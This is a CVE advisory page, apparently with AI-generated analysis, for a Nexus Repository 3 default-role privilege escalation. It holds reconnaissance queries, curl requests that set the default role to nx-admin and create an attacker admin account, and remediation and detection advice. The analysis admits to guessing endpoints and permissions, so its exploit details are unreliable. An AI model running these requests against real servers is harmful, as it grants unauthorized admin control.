CVE Professor
/
All CVEs
CVE-2026-113367

CVE-2026-113367 — Sonatype Nexus Repository 3 — CWE-1220

HIGH CVSS 8.6 Shodan

Sonatype Nexus Repository 3 uses a single permission that is too broad to control the Default Role capability. A user who holds only the capabilities create or update permission can create or change this capability and gain administrator-level access to the instance. The change persists across restarts.

Sonatype Nexus Repository 3 uses a single permission that is too broad to control the Default Role capability. A user who holds only the capabilities create or update permission can create or change this capability and gain administrator-level access to the instance. The change persists across restarts.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. Low PR:L
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. None VA:N
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE-2026-113367 is a Broken Access Control vulnerability (CWE-1220: Insecure Default Permissions) in Sonatype Nexus Repository 3.

The core technical flaw lies in the granularity of the permission model for the "Default Role" capability. In Nexus Repository 3, the "Default Role" determines the initial role assigned to new users upon registration or creation. This is a highly sensitive configuration because it dictates the baseline privilege level for all future users.

The vulnerability exists because a single, overly broad permission (likely nexus:roles:read or a generic nexus:settings:update scope that is not properly segregated from role management) allows a user with only create or update capabilities on specific resources to modify the Default Role setting.

Specifically:
1. Missing Check: The API endpoint responsible for updating the default role configuration does not verify if the authenticated user has the specific nexus:roles:admin or nexus:settings:admin privilege. Instead, it relies on a broader permission that is granted to lower-privileged users (e.g., users who can create repositories or manage their own profiles).
2. Privilege Escalation Path: By changing the "Default Role" to nx-admin (or a custom role with admin privileges), any subsequent user creation (including self-registration if enabled, or creation by the attacker via the user management API if they have nexus:users:create) will result in a new user with Administrator privileges.
3. Persistence: The change is stored in the Nexus configuration database (H2 or external DB), meaning it persists across service restarts, making the compromise permanent until manually reverted.

CVSS 4.0 Vector Analysis:

  • AV:N/AC:L/AT:N/PR:L/UI:N: Network-exploitable, low complexity, no user interaction, requires low privileges (authenticated user).

  • VC:H/VI:H/VA:N: High impact on Confidentiality and Integrity (full admin access allows reading all artifacts and modifying configurations), no direct Availability impact (though admin could delete repos, the vector specifies VA:N).

  • PR:L: The attacker must already have a valid account with limited permissions (e.g., a developer or guest account).
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Fingerprinting: Identify the target as Sonatype Nexus Repository 3.
  • * Check HTTP headers: Server: Nexus or X-Nexus-Id. * Access /service/rest/v1/status or /service/rest/v1/security/realms to confirm version and active security realm. * Check /service/rest/v1/repositories to confirm it is a repository manager.
  • Credential Acquisition: Obtain valid credentials for a low-privileged user (e.g., a developer account with nexus:repositories:create or nexus:users:read but not nexus:admin). This could be via:
  • * Default credentials (if not changed). * Compromised developer credentials. * Self-registration (if enabled) to get a basic user account.

    2. Exploitation

    The attacker uses the Nexus REST API to modify the default role. The exact endpoint for managing security settings in Nexus 3 is typically under /service/rest/v1/security/.

    Illustrative PoC (Note: Exact endpoint path may vary slightly by minor version, but the logic is consistent):

    The attacker sends a PUT or POST request to the security configuration endpoint to change the defaultRole to nx-admin.

    # Step 1: Authenticate and get a session token (if using token-based auth)
    # Or use Basic Auth directly in the header.
    
    # Step 2: Modify the Default Role to 'nx-admin'
    # The endpoint for updating security settings is typically:
    # /service/rest/v1/security/settings
    
    curl -X PUT "http://<target>:8081/service/rest/v1/security/settings" \
      -u "low_priv_user:password" \
      -H "Content-Type: application/json" \
      -d '{
        "defaultRole": "nx-admin",
        "anonymousAccessEnabled": false
      }'
  • Success Indicator: HTTP 200 OK or 204 No Content.
  • Verification: The attacker can verify the change by creating a new user or checking the current settings.
  • Alternative Path (If direct settings update is blocked):
    If the settings endpoint is protected, the attacker might exploit a flaw in the User Creation API if it allows specifying the role at creation time, or if the "Default Role" is applied during a user update. However, the CVE description specifically states "create or change this capability," implying the configuration change is the primary vector.

    3. Post-Exploitation

    1. Create Admin User:
    curl -X POST "http://<target>:8081/service/rest/v1/security/users" \
          -u "low_priv_user:password" \
          -H "Content-Type: application/json" \
          -d '{
            "userId": "attacker_admin",
            "firstName": "Attacker",
            "lastName": "Admin",
            "emailAddress": "[email protected]",
            "password": "Str0ngP@ssw0rd!",
            "roles": ["nx-admin"]
          }'

    Note: Even if the roles field is ignored, if the defaultRole was changed to nx-admin, the new user will be assigned nx-admin automatically.

    2. Login as Admin:

    curl -X GET "http://<target>:8081/service/rest/v1/security/users/attacker_admin" \
          -u "attacker_admin:Str0ngP@ssw0rd!"

    3. Full Control:
    * Read All Artifacts: Access all repositories, including private ones, to exfiltrate source code, binaries, or sensitive data.
    * Modify Repositories: Change repository policies, delete artifacts, or inject malicious packages (supply chain attack).
    * Manage Users: Create additional backdoor admin accounts.
    * Change Configurations: Modify security realms, disable authentication, or change proxy settings to redirect traffic.

    🌍 Real World Impact

  • Confidentiality (High): The attacker gains access to all artifacts stored in Nexus, which often include proprietary source code, compiled binaries, and sensitive configuration files. This can lead to IP theft and data breaches.
  • Integrity (High): The attacker can modify or delete artifacts, inject malicious code into packages (supply chain compromise), or alter repository configurations to disrupt build pipelines.
  • Availability (None): The CVSS vector indicates no direct availability impact, but an admin could theoretically delete repositories or disable the service, though this is not the primary intended impact of the vulnerability.
  • Practical Consequences:
  • * Supply Chain Attack: Malicious packages can be pushed to internal repositories, affecting all downstream builds and deployments. * Data Exfiltration: Sensitive code and data can be exfiltrated. * Persistence: The admin account created persists across restarts, providing long-term access. * Lateral Movement: With admin access to Nexus, the attacker may gain insights into other systems (e.g., CI/CD pipelines, deployment targets) that interact with Nexus.

    🛡️ Remediation & Mitigation

    1. Patching

  • Upgrade: Upgrade Sonatype Nexus Repository 3 to the latest version that addresses this vulnerability. Check the Sonatype security advisories for the specific fixed version (likely a recent patch release in 2026).
  • Verify: After upgrading, verify that the defaultRole cannot be changed by non-admin users.
  • 2. Workarounds (If immediate patching is not possible)

  • Restrict API Access: Use a reverse proxy (e.g., Nginx, Apache) to block access to the /service/rest/v1/security/ endpoints for non-admin users.
  • location /service/rest/v1/security/ {
            # Allow only admin IPs or require additional authentication
            allow 10.0.0.0/8;
            deny all;
        }
  • Disable Anonymous Access: Ensure anonymousAccessEnabled is set to false to prevent unauthenticated access.
  • Audit Permissions: Review all user roles and ensure that only nx-admin users have the ability to modify security settings. Remove any broad permissions (e.g., nexus:settings:update) from non-admin roles.
  • 3. Detection (IoCs)

  • Web Server Logs: Look for PUT or POST requests to /service/rest/v1/security/settings or /service/rest/v1/security/users from non-admin users.
  • 192.168.1.100 - - [02/Dec/2026:10:00:00 +0000] "PUT /service/rest/v1/security/settings HTTP/1.1" 200 0
  • Nexus Audit Logs: Check the Nexus audit log for changes to the defaultRole setting or creation of new users with the nx-admin role.
  • User Account Monitoring: Alert on the creation of new users with the nx-admin role, especially if the creator is not an existing admin.
  • ⚠️ Urgency

  • CVSS Score: 8.6 (HIGH)
  • CISA KEV: No (Not currently listed in the Known Exploited Vulnerabilities catalog, but this does not reduce urgency).
  • Exploit Complexity: Low (AC:L). The vulnerability is easily exploitable by any authenticated user with minimal permissions.
  • Priority: Critical.
* Immediate Action: If you have any non-admin users with access to the Nexus API, assume compromise. Rotate all credentials, audit all users, and check for unauthorized admin accounts. * Patch ASAP: Apply the vendor patch as soon as it is available. * Mitigate Now: If patching is delayed, implement the reverse proxy restrictions to block non-admin access to security endpoints.

Conclusion: This vulnerability allows a low-privileged user to escalate to full administrator access, leading to complete compromise of the artifact repository. It is a high-priority issue that requires immediate attention.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Sonatype Nexus Repository 3"
CVSS Score
8.6 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-1220
Affected Products (1)
Sonatype:Nexus Repository 3
References & Advisories (2)
Related CVEs
6.5
CVE-2026-88943
The Kubernetes-style snapshot API in Grafana authorized snapshot deletion using only the org-wide snapshots:de
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner
9.2
CVE-2026-144579
curl_cffi 0.15.0 through 0.17.0 contains a server-side request forgery protection bypass in allow_redirects='s
9.2
CVE-2026-144598
Homebox 0.22.0-rc.2 through 0.27.1 contains an authentication bypass vulnerability in UserService.LoginOIDC th
9.2
CVE-2026-145153
LangChain4j before 1.5.4-beta11, 1.11.12-beta19, 1.19.4-beta29, and 1.23.0-beta33 contains an injection vulner
9.1
CVE-2026-144956
Hoverfly before 1.12.17 contains an improper certificate validation vulnerability in GetHttpClient in core/htt
8.8
CVE-2026-77417
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac